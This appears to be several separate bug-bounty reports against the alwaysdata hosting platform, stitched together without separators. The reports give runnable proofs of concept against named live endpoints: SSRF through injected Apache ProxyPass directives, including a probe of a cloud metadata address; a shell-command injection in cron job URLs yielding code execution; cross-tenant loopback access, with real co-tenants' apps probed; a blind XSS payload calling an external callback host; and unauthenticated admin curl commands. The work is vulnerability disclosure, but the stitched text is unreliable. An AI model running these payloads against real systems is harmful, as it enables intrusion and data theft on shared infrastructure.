Severity: High (CVSS 3.1 7.5 — same as accepted  FS#520 )
CVSS vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
References:  FS#305  (original),  FS#504  (mine, dup-closed against 305 on 28.09.2026),  FS#520  (closed 06.10.2026, reported High 7.5)

Summary

This issue has now been reported in three tasks (305 → 504 → 520) while remaining fully exploitable. I re-tested on 14.10.2026: an authenticated customer can still inject an unrestricted Apache ProxyPass directive through PATCH /v1/site/{id} → vhost_additional_directives ( FS#520  already showed a free account suffices), and the platform's Apache still proxies arbitrary upstream URLs and returns the responses. No fix from any of the three tasks is deployed (or it was reverted). Per your SSRF rule I stopped testing the moment server-side fetching was re-confirmed and reverted everything immediately — I did not re-probe internal targets (that ground was already covered by  FS#520 ).

Reproduction (own test site only, 14.10.2026)

Step 1 — inject (accepted, no validation):

PATCH https://api.alwaysdata.com/v1/site/1080353/ {"vhost_additional_directives":"ProxyPass /p5x http://example.org/\nProxyPassReverse /p5x http://example.org/"}

→ 204

Step 2 — confirm stored:

GET https://api.alwaysdata.com/v1/site/1080353/

→

"vhost_additional_directives": "ProxyPass /p5x http://example.org/..."

Step 3 — trigger (server-side fetch, response returned to attacker):

GET https://docs.alwaysdata.net/p5x

→ 200, 577 bytes, body begins

<!doctype html><html lang=en>...<title>Example Domain</title>

— content fetched by alwaysdata's server from example.org and served back, exactly the  FS#520  PoC.

Step 4 — immediate cleanup (same session):

PATCH ... {"vhost_additional_directives":""}

→ 204; after reload:

GET /p5x

→ 404, directives field empty, site homepage 200. No artifacts remain.

Impact

Identical to accepted  FS#520 : any authenticated customer (free account suffices) can make alwaysdata's server infrastructure issue HTTP requests to arbitrary URLs and read the responses — SSRF with response readout, usable for internal-service reach, IP-reputation abuse, and network mapping. The only thing that changed since  FS#520  is that the issue was marked closed while remaining exploitable.

Recommended fix

Same as  FS#520  (allowlist of safe directive prefixes; reject Proxy*/RewriteRule-external/Alias-outside-home/Include/LoadModule) — plus a deployment check: add a post-deploy acceptance test that PATCHes a ProxyPass directive and asserts rejection, because the current fix demonstrably did not reach (or did not stick on) the web tier.

Cleanup

Fully reverted and verified (directives empty, probe path 404, homepage 200). No accounts, jobs, services, files, or other customers touched.

All customer accounts on a shared alwaysdata web server run in the host's single, shared network namespace (readlink /proc/self/ns/net ⇒ net:[4026531833], the init ns, identical for every account on the server). Consequently 'localhost' / 127.0.0.1 is NOT private per account: any service a customer binds to loopback is reachable by every other customer that holds a shell on the same physical server, and an unprivileged co-tenant can see the whole host's sockets (ss shows hundreds of host-wide connections and other tenants' unix-socket paths).

This has now been demonstrated end-to-end – READ and WRITE – between two accounts we own, co-located on the same server (ssh2), to avoid touching any third party:
Attacker = account A (uid 554081), running no service of its own.
Victim = account B (uid 553290), a different customer/uid, running a small HTTP service bound to 127.0.0.1:<port> with a startup-generated secret (stored in a 0600 file under its 1770 home, so unreadable on the filesystem by A) and a state file.

From account A, reaching only the shared loopback:
GET http://127.0.0.1:<port>/canary returned the victim's private secret verbatim (confidentiality: A obtained a value that existed only inside B's process and an owner-only file it cannot read on disk).
POST http://127.0.0.1:<port>/set changed the victim's server-side state; the change persisted to B's own state file on disk (independently verified from B's shell), not merely echoed (integrity: A mutated another tenant's application state).

The platform's own loopback services are correctly auth-gated (monit :2812, PowerDNS API :8083, almonitor metrics :8593, :7102 all return 401), which confirms the exposure is specifically other customers' services. A customer binding a service to 127.0.0.1 has a reasonable, universal expectation that it is private to their account; the shared network namespace breaks that expectation, so this is a platform isolation gap acting in conjunction with customer applications.

Observed at scale on real tenants (read-only, one identifying page title each; the apps were NOT driven and no data was pulled or written): curl http://127.0.0.1:8530/ ⇒ HTTP 200, a co-tenant's private trading-bot control panel 'Flash Sniper' (Werkzeug/Python, loopback-only bind, NO authentication); curl http://127.0.0.1:5000/ ⇒ HTTP 200, a different co-tenant's app 'OmniRoute' (NO authentication). Because those real services answer unauthenticated exactly like the owned victim in the PoC, the same read-AND-write exposure applies to them and to every similarly configured tenant on each shared server (~2000 accounts per server). alwaysdata can confirm the scale internally without any further third-party interaction.

Prerequisites
One ordinary hosting account with SSH on the same physical server as the victim (co-location). Accounts are packed ~2000 per shared server, so any shell co-locates with many victims. No special role, no privilege escalation, and no filesystem access to the victim is needed – only the shared loopback.
Impact

Full cross-tenant compromise of any customer service that binds to localhost/127.0.0.1 (or any port) without its own authentication. An attacker needing only an ordinary co-located shell can READ the service's private data and secrets and WRITE/control its server-side state. Demonstrated end-to-end on our own two accounts: A read a secret that lived only inside B's process and an owner-only file, and A persisted an arbitrary change to B's application state (verified on B's disk). Two real co-tenant apps already observed answering unauthenticated on loopback (a trading-bot control panel and an AI validator) exhibit the same pattern, so for affected tenants the real-world impact is unauthorized read AND modification of customer data/services at scale.

Vulnerability type: Cross-Site Scripting (XSS)
Status: Requires confirmation of application-origin execution
Severity: To be determined based on the execution context and affected users

## Summary

A potentially unsafe file-upload and file-rendering behavior was identified on the application. A test PDF, `test-xss.pdf`, was uploaded and accessed through the application's file retrieval endpoint.

When the PDF was opened, a browser notification displaying “XSS Tested Successfully” appeared, indicating that script-related behavior was triggered in the document-viewing workflow.

Further validation is required to determine whether the behavior constitutes stored XSS in the application's security origin or JavaScript execution isolated to the PDF viewer.

## Steps to Reproduce

1. Upload a PDF containing a benign JavaScript execution test through the application's file-upload functionality.
2. Open the uploaded file using the application's file retrieval endpoint.
3. Observe the PDF viewer and check whether the test notification appears.
4. If authorized, verify the execution origin and whether the same behavior affects another user who opens the uploaded file.

## Observed Result

A browser notification displaying “XSS Tested Successfully” appeared while the PDF was open in the browser.

## Expected Result

Uploaded files should be served and rendered safely. Untrusted document content must not execute script with privileges belonging to the application's origin.

## Security Impact

If the uploaded document can execute JavaScript in the application's origin when opened by another user, an attacker might be able to perform actions within that user's authenticated session, subject to the application's security controls.

If execution is confined to a sandboxed PDF viewer or a separate origin, the impact may be substantially lower.

## Recommendations

* Serve untrusted uploads from a separate, appropriately isolated origin.
* Apply strict file-type validation and safe content-disposition headers.
* Configure an appropriate Content Security Policy where applicable.
* Ensure PDF rendering and JavaScript execution follow the viewer's security model.
* Test uploaded files with a current, securely configured PDF viewer.
* Verify that other users cannot be affected through the same upload-and-view workflow.

## Evidence

The supplied screenshot shows the notification “XSS Tested Successfully” while viewing `test-xss.pdf` through the application's file endpoint.

Affected endpoint:
https://www.alwaysdata.com/en/contact/

Affected field(s):
“Name” field (confirmed), “Message” field (submitted, pending confirmation — see note below)

Vulnerability class:
Blind Stored XSS / HTML Injection (CWE-79)

Description:
The contact form on the above page does not appear to sanitize or encode user input before it is processed/stored/rendered elsewhere (e.g., in an internal admin panel, notification system, or email client used by staff). An HTML/JS payload submitted via the “Name” field triggered an out-of-band DNS callback to a Burp Collaborator server, confirming execution outside of my own browser session.

Proof of Concept:
The following payload was submitted in the “Name” field:

html
<img src="pleatfo27nan3vme473ekhdhy84zspge.oastify.com">

Evidence of execution:
The Collaborator server logged two separate DNS A-record lookups for the payload domain:

# Time (UTC) Type Source IP
17 2026-10-09 11:22:33.308 DNS 172.217.33.215
18 2026-10-09 11:22:33.331 DNS 172.253.1.218

The lookups occurred shortly after submission, from IPs distinct from my own testing IP, indicating the payload was parsed/rendered by a system other than the submitting browser (consistent with internal review tooling, a notification pipeline, or similar).

Steps to Reproduce:

1. Navigate to https://www.alwaysdata.com/en/contact/ 2. In the “Name” field, enter: <img src="[unique-id].oastify.com"> (or equivalent Collaborator/callback payload)
3. Fill remaining required fields with valid test data
4. Submit the form
5. Monitor the Collaborator/callback server for an inbound DNS/HTTP interaction
6. Observe the out-of-band callback confirming the payload was parsed as HTML outside the submitter’s own session

Impact:
If rendered in an internal tool without sanitization, this could allow an attacker to execute arbitrary JavaScript in the context of whatever system/staff session processes contact form submissions — potentially enabling session token theft, internal tool manipulation, or lateral exposure, depending on that system’s privileges.

Suggested remediation:
Sanitize/encode all contact form input before storage, display, or forwarding to any internal system (output encoding appropriate to the destination context — HTML-escape for HTML rendering, etc.).

Affected Endpoint: PATCH https://api.alwaysdata.com/v1/site/{id}/
Vulnerable Field: vhost_additional_directives
Authentication Required: Yes (free account, API token)

Summary

The alwaysdata REST API allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound HTTP requests to any URL, including potentially internal services on alwaysdata's network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata's server IP (185.31.41.11), not from the attacker's IP.

Technical Background

The alwaysdata API exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer's Apache site with no allowlist or blocklist enforced. Apache's mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any HTTP request matching the configured path to an attacker-specified upstream URL, with the request originating from alwaysdata's server.

Step-by-Step Reproduction

Step 1: Register a free account at https://www.alwaysdata.com/fr/inscription/ and create an API token from the admin panel under Profile > Managing tokens. The token is used as the HTTP Basic Auth username with a blank password.

Step 2: Create a free hosting account via the API to obtain a site resource ID.

Request:
POST /v1/account/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6 (base64 of token:)
Content-Type: application/json

{"name":"vapt1test","product":2012,"location_object":3,"password":"TestPassword1!","contract_28":true,"contract_36":true}

Response:
HTTP/1.1 201 Created

{

  "id": 504456,
  "name": "vapt1test",
  "location_type": "datacenter",
  "location_object": 3,
  "product": null,
  "period": null,
  "href": "/v1/account/504456/"

}

Step 3: List the site resource to get its ID.

Request:
GET /v1/site/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6

Response:
HTTP/1.1 200 OK

[

  {
      "id": 1083881,
      "type": "php",
      "path": "www/",
      "vhost_additional_directives": null,
      "addresses": ["vapt1test.alwaysdata.net/"],
      ...
  }

]

Step 4: Inject an Apache ProxyPass directive into the site configuration.

Request:
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Content-Type: application/json
Content-Length: 121

{"vhost_additional_directives":"ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/"}

Response:
HTTP/2 204 No Content
server: nginx
vary: Accept-Language, Cookie
strict-transport-security: max-age=31536000; includeSubDomains; preload

(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)

Step 5: Confirm the directive was stored.

Request:
GET /v1/site/1083881/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6

Response:
HTTP/1.1 200 OK

{

  "id": 1083881,
  "vhost_additional_directives": "ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/",
  ...

}

Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata's Apache server (IP 185.31.41.11) to fetch example.org and return the response.

Request (sent from attacker browser):
GET /ssrf-poc HTTP/2
Host: vapt1test.alwaysdata.net

Response received by attacker (actually fetched by 185.31.41.11 from example.org):
HTTP/2 200 OK
Content-Type: text/html

<!doctype html><html lang=en><head><meta charset=utf-8>
<title>Example Domain</title>
… <p>This domain is for use in documentation examples without needing permission.</p>
…

The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org's HTML, fetched and returned by alwaysdata's own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.

Step 7: Confirm the outbound request IP address using an IP reflection service.

I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.

Request:
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Content-Type: application/json

{"vhost_additional_directives":"ProxyPass /ssrf-ip http://ifconfig.me/\nProxyPassReverse /ssrf-ip http://ifconfig.me/"}

Response:
HTTP/2 204 No Content

Trigger:
GET /ssrf-ip HTTP/2
Host: vapt1test.alwaysdata.net

Response body (the IP that made the request to ifconfig.me):
2a00:b6e0:1:20:23::1

This is alwaysdata's own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the HTTP request to ifconfig.me was made by alwaysdata's server infrastructure, not by the attacker's IP.

Additional Test: Attempt to Reach Cloud Metadata

Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.

Request:
PATCH /v1/site/1083881/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json

{"vhost_additional_directives":"ProxyPass /metadata http://169.254.169.254/\nProxyPassReverse /metadata http://169.254.169.254/"}

Triggering:
GET /metadata HTTP/2
Host: vapt1test.alwaysdata.net

Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.

Impact

An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue HTTP requests to any URL on demand. Direct consequences are:

1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata's private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.

2. IP reputation and access control bypass: Outbound requests from alwaysdata's server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata's infrastructure. If any internal or partner service trusts alwaysdata's IP range, that trust is transferred to the attacker.

3. Scanning alwaysdata's internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker's own IP appearing in any logs.

The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.

CVSS 3.1

AV:N (exploitable over the internet)
AC:L (no special conditions, just an API call)
PR:L (free account required)
UI:N (no user interaction)
S:C (scope changed: requests originate from alwaysdata's server infrastructure, not the attacker's origin)
C:H (if internal services are reachable, full confidentiality of internal data)
I:N (no write to internal services confirmed)
A:N (no availability impact)

Score: 7.5 High

Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.

Cleanup

I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).

PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Content-Type: application/json

{"vhost_additional_directives": null}

Response:
HTTP/2 204 No Content

Recommended Fix

Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account's own paths.

Submission Notes

Submit via the alwaysdata security portal at https://security.alwaysdata.com (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal's public .git directory).

Two are materially impactful:

/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.

/metrics is unauthenticated. It leaks internal service-account usernames, config paths, TLS certificate paths, version information, and runtime telemetry.

Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.

Severity: Medium
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5
Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.

Affected asset:

Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com

IP: 185.31.41.181

Service: vmauth v1.137.0

Steps to Reproduce / PoC
1. Confirm the authentication gate exists on the same host
bash
curl -sk -o /dev/null -w '%{http_code}\n' \

https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/

Expected:

text
401
This is the control: the root path is protected.

2. Confirm /metrics is exempt and leaks internal data
bash
curl -sk -o /dev/null -w '%{http_code}\n' \

https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics

Expected:

text
200
Leaked data:

bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep -E 'username=|auth.config|tlsCertFile|version='

Observed output includes:

text
vmauth_user_concurrent_requests_capacity{username="admin"} 1000
vmauth_user_concurrent_requests_capacity{username="aldjango"} 1000
vmauth_user_concurrent_requests_capacity{username="grafana"} 1000
vmauth_user_concurrent_requests_capacity{username="telegraf"} 1000

name="auth.config", value="/etc/vmauth/config.yml", is_set="true"
name="tlsCertFile", value="/etc/ssl/certs/alwaysdata.org.bundle.pem", is_set="true"
version="vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163"
short_version="v1.137.0"
These usernames are not otherwise obtainable without authentication.

3. Prove /-/reload is unauthenticated and state-changing
Baseline the reload counter:

bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total

Example:

text
vmauth_config_last_reload_total 7
Send an anonymous reload request:

bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload Observed:

http
HTTP/1.1 200 OK
x-server-hostname: sandbox-fnonnenmacher2
content-length: 0
Re-read the counter:

bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total

Observed:

text
vmauth_config_last_reload_total 8
Delta: 1

Repeat:

bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \

| grep vmauth_config_last_reload_total

Observed:

text
vmauth_config_last_reload_total 9
Delta: 1

The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.

4. Control: sibling admin endpoint is correctly gated
bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit Observed:

http
HTTP/1.1 401 Unauthorized
Www-Authenticate: Basic realm="Restricted"
Counter delta: 0

This proves /-/reload is an omission, not a design where all admin routes are open.

5. Additional unauthenticated pprof exposure
bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline Observed:

text
/usr/bin/vmauth -envflag.enable
The full pprof surface is exposed, including:

/debug/pprof/

/debug/pprof/cmdline

/debug/pprof/heap?debug=1

/debug/pprof/allocs?debug=1

/debug/pprof/goroutine?debug=2

/debug/pprof/trace?seconds=1

Impact
1. Unauthenticated administrative action
An anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.

2. Potential full authentication bypass if chained
/-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.

No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.

3. Internal information disclosure
/metrics and pprof leak:

Internal service-account names: admin, aldjango, grafana, telegraf

Configuration file path: /etc/vmauth/config.yml

TLS certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem

Exact vmauth version and Go runtime version

Process command line: /usr/bin/vmauth -envflag.enable

Heap, allocs, goroutine, mutex, and trace profiling data

Severity: Critical

Summary

Steps to Reproduce

Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.

Step 1 — Write payload to file (prevents local shell expansion):
cat > /tmp/job.json << 'EOF'
{
  "type": "TYPE_URLS",
  "argument": "http://x.com/'$(id>/home/YOUR_ACCOUNT/www/rce_proof.txt)'",
  "date_type": "FREQUENCY",
  "frequency": 1,
  "frequency_period": "minute"
}
EOF

Step 2 — Create the malicious cron job:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  -X POST "https://api.alwaysdata.com/v1/job/?format=json" \
  -H "Content-Type: application/json" \
  -d @/tmp/job.json \
  -w "\nHTTP STATUS: %{http_code}\n"
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.

Step 3 — Wait up to 60 seconds for the cron to fire.

Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata's server.

Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  "https://api.alwaysdata.com/v1/job/?format=json"

curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
  -X DELETE "https://api.alwaysdata.com/v1/job/JOB_ID/?format=json"

Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled HTTP 500 Internal Server Error on /password/lost/. Standard Host values work correctly.

Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation)
CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

## Reproduce
Raw TCP/TLS request:

Host: admin.alwaysdata.com@evil.com GET /password/lost/ HTTP/1.1

Response: HTTP/1.1 500 Internal Server Error

Normal Host: admin.alwaysdata.com returns HTTP 200.

## Evidence
- @-injection in Host header triggers 500 ISE
- Clean Host value returns 200 (no issue)
- No data leakage in error response observed

## Impact
Indicates Host header input reaches internal processing (likely URL building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.

## Remediation
Validate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with HTTP 400.

Researcher: adityahadipratama4@gmail.com

POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata's support team inbox.

Severity: Low (CVSS 3.7) | CWE-307
CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

## Reproduce
1. Log in with any free account
2. Fire 20 rapid POSTs to /support/add/ with subject/message fields
3. All 20 return HTTP 200 — no 429 triggered

## Impact
- Staff inbox flooding via ticket spam
- Can bury legitimate support requests
- Degrades quality of service for legitimate customers

## Remediation
Limit: 5-10 tickets/hour per user account.

Researcher: adityahadipratama4@gmail.com

POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata's invitation email system for harassment.

Severity: Medium (CVSS 5.3) | CWE-307
CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

## Reproduce
1. Log in with any free account
2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return HTTP 200 — no throttling triggered

## Evidence
- 30/30 HTTP 200 (parallel, ~1.55s total)
- No 429 even under concurrent load

## Impact
- Spam victim with unlimited alwaysdata-branded transfer invitation emails
- Abuse alwaysdata sending reputation for targeted harassment

## Remediation
Limit: 5-10 invitations/hour per user + 3/day per target email.

Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.